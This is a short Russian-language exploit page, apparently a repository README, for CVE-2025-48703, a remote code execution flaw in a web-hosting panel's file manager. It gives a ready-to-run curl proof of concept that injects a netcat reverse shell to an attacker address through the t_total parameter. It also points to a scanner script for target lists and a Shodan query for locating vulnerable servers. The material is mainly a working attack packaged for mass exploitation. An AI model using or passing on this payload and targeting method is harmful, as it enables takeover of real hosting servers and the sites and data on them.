🛡️ CVE-2025-48703 - Удалённое выполнение кода (RCE) в cPanel File Manager

📌 Описание

CVE-2025-48703 — это уязвимость удалённого выполнения кода (RCE) в модуле filemanager панели управления веб-хостингом (например, cPanel). Она возникает из-за небезопасной обработки входных данных в функции acc=changePerm, что позволяет атакующему внедрять и выполнять произвольные системные команды с помощью параметра t_total.

🧨 Воздействие

Эта уязвимость позволяет атакующим:

• Выполнять произвольные команды на целевом сервере.
• Устанавливать reverse shell для постоянного доступа.
• Потенциально повышать привилегии или перемещаться по сети.

⚠️ Атака может быть выполнена с минимальной аутентификацией или, в некоторых конфигурациях, без аутентификации.

🚀 Proof-of-Concept (PoC)

✅ Команда Reverse Shell

curl -kis 'https://<TARGET_IP>:2083/myuser/index.php?module=filemanager&acc=changePerm' \
  --data 'fileName=.bashrc&currentPath=/home/myuser&t_total=`nc <ATTACKER_IP> 4444 -e /bin/bash`'

Использование сканера

python3 Scanner.py  #Make sure targets.txt is in the same dir

Поиск через Shodan

Server: cwpsrv

Ссылка: https://fenrisk.com/rce-centos-webpanel